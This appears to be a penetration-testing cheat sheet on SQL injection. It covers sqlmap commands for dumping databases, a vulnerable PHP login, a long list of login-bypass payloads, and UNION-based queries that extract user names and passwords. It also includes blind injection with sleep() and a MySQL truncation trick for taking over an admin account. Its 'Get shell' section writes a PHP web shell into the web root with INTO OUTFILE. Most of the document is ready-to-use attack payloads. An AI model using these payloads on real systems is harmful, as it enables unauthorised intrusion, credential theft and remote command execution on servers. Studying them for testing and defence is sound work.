# SQL-injections

## Tldr

```
# Post
./sqlmap.py -r request.txt -p username

# Get
sqlmap -u "http://192.168.1.101/index.php?id=1" --dbms=mysql

# Crawl
sqlmap -u http://192.168.1.101 --dbms=mysql --crawl=3
```

## How does sql-injections work?

So we have a website that is written in php. We have a login functionality, where the code looks like this:

```
mysql_connect("localhost", "pelle", "mySecretPassowrd") or die(mysql_error());

mysql_select_db("myHomepage");

if ($_POST['uname'] != ""){
    $username = $_POST['username'];
    $password = $_POST['password'];
    $query = "SELECT * FROM users WHERE username = '$username' AND password='$password'";
    $result = mysql_query($query);
    $row = mysql_fetch_array($result);
}
```

So the user input is not filtered or sanitized in any way. Which means that what the users puts in in the login-form will be executed my mysql. So just like in xss-injections we just try to escape the input field to be able to execute sql-commands. So if we input the following into the user-field and password-field in the login:

```
whatever' or '1'='1
whatever' or '1'='1
```

The query will look like this:

```
$query = "SELECT * FROM users WHERE username = 'whatever' OR '1'='1' AND password='whatever' OR '1'='1'";
```

Since they both become true the database will retrieve all users and we will be able to bypass the login.

If you know the username you could of course use that and then only inject on the password parameter.

```
$query = "SELECT * FROM users WHERE username = 'admin' AND password='whatever' OR '1'='1'";
```

## SQLmap

Sqlmap is a great tool to perform sql-injections. Here is the manual. https://github.com/sqlmapproject/sqlmap/wiki/Usage

### Using sqlmap with login-page

So you need to authenticate before you can access the vulnerable paramter.

You just cature the request using burp suite, and save the requiest in a file. Then your run

```
sqlmap -r request.txt
```

Since the cookie is saved in the reuqest sqlmap can do it.

### Crawl a page to find sql-injections

```
sqlmap -u http://example.com --crawl=1
```

### Dumping a database or table

Here we are dumping the database Webapp and the table Users.

```
sqlmap -r request.txt -p username --dbms=mysql --dump -D Webapp -T Users
```

### Use proxy

```
--proxy="http://192.2.2.2.2:1111"
```

**Proxy credencials**

```
--proxy-cred="username:password"
```

## Login bypass

This is the most classic, standard first test:

```
' or '1'='1
```

Then you have:

```
-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
```

## Sql-injections manually

Sqlmap is good, but it is not very stealthy. And it can generate a lot of traffic. And also it is good to understand the vulnerability in the cote and not just run tools. So let's learn sql-injections the manual way.

The two main ways for perform a sql-injection: **error based** or **blind**.

### Error-bases DB enumeration

If we manage to find an error-message after a broken sql-query, we can use that to try to map out the database structure.

For example, if we have a url that end with

```
http://example.com/photoalbum.php?id=1
```

### Step 1 - Add the tick '

So first we should try to break the sql-syntaxt by adding a `'`. We should first ad a `'` or a `"`.

```
http://example.com/photoalbum.php?id=1'
```

If the page then returns a blank page or a page with a sql-error we know that the page it vulnerable.

### Step 2 - Enumerate columns

So in order to enumerate the columns of a table we can use the **order by**

**Order by 1** means sort by values of the first column from the result set. **Order by 2** means sort by values of the second column from the result set.

So it is basically just a tool to order the data in a table. But we can use it to find out how many columns a table has. Because if we do **order by 10** when there really only is 9 columns sql will throw an error. And we will know how many columns the table has.

```
# This trhows no error
http://example.com/photoalbum.php?id=1 order by 9
# This throws error
http://example.com/photoalbum.php?id=1 order by 10
```

So you just increase the number (or do a binary tree search if you want tot do it a bit faster) until you get an error, and you know how many columns the table has.

### Step 3 - Find space to output db

Now we need to know which coolumns are being outputed on the webpage. It could be that not all data from the database is worthwhile to output, so maybe only column 1 and 3 are being outputted to the website.

To find out which columns are being outputted we can use the **union select** command. So we do the command like this

```
http://example.com/photoalbum.php?id=1 union select 1,2,3,4,5,6,7,8,9
```

For all the columns that exists. This will return the numbers of the columns that are being outputted on the website. Take note of which these columns are.

### Step 4 - Start enumerating the database

Now we can use that field to start outputing data. For example if columns number five has been visible in step 3, we can use that to output the data.

Here is a list of data we can retrieve from the database. Some of the syntaxes may difference depending on the database engine (mysql, mssql, postgres).

```
# Get username of the sql-user
http://example.com/photoalbum.php?id=1 union select 1,2,3,4,user(),6,7,8,9

# Get version
http://example.com/photoalbum.php?id=1 union select 1,2,3,4,version(),6,7,8,9

# Get all tables

http://example.com/photoalbum.php?id=1 union select 1,2,3,4,table_name,6,7,8,9 from information_schema.tables

# Get all columns from a specific table

http://example.com/photoalbum.php?id=1 union select 1,2,3,4,column_name,6,7,8,9 from information_schema.columns where table_name = '

# Get content from the users-table. From columns name and password. The 0x3a only servers to create a delimitor between name and pas

http://example.com/photoalbum.php?id=1 union select 1,2,3,4,concat(name,0x3a,
password),6,7,8,9 FROM users
```

## Blind sql-injection

We say that it is blind because we do not have access to the error log. This make the whole process a lot more complicated. But it is of course still possible to exploit.

#### Using sleep

Since we do not have access to the logs we do not know if our commands are syntaxically correct or not. To know if it is correct or not we can however use the sleep statement.

```
http://example.com/photoalbum.php?id=1-sleep(4)
```

If it lods for four seconds exta we know that the database is processing our sleep() command.

### Get shell from sql-injection

The good part about mysql from a hacker-perspective is that you can actaully use slq to write files to the system. The will let us write a backdoor to the system that we can use.

#### Load files

UNION SELECT 1, load_file(/etc/passwd) #

```
http://example.com/photoalbum.php?id=1 union all select 1,2,3,4,"<?php echo
shell_exec($_GET['cmd']);?>",6,7,8,9 into OUTFILE 'c:/xampp/htdocs/cmd.php'
```

#### Write files

```
http://example.com/photoalbum.php?id=1 union all select 1,2,3,4,"<?php echo
shell_exec($_GET['cmd']);?>",6,7,8,9 into OUTFILE 'c:/xampp/htdocs/cmd.php'

http://example.com/photoalbum.php?id=1 union all select 1,2,3,4,"<?php echo
shell_exec($_GET['cmd']);?>",6,7,8,9 into OUTFILE '/var/www/html/cmd.php'
```

#### MSSQL - xp_cmdshell

You can run commands straight from the sql-query in MSSQL.

## Truncating Mysql Vulerability

Basically this happens when you don't validate the length of user input. Two things are needed for it to work:

- Mysql does not make comparisons in binary mode. This means that "admin" and "admin " are the same.
- If the username column in the database has a character-limit the rest of the characters are truncated, that is removed. So if the database has a column-limit of 20 characters and we input a string with 21 characters the last 1 character will be removed.

With this information we can create a new admin-user and have our own password set to it. So if the max-length is 20 characters we can insert the following string

```
admin              removed
```

This means that the "removed" part will be removed/truncated/deleted. And the trailing spaces will be removed upon insert in the database. So it will effectively be inserted as "admin".

## References

http://resources.infosecinstitute.com/sql-truncation-attack/ http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet
http://resources.infosecinstitute.com/anatomy-of-an-attack-gaining-reverse-shell-from-sql-injection/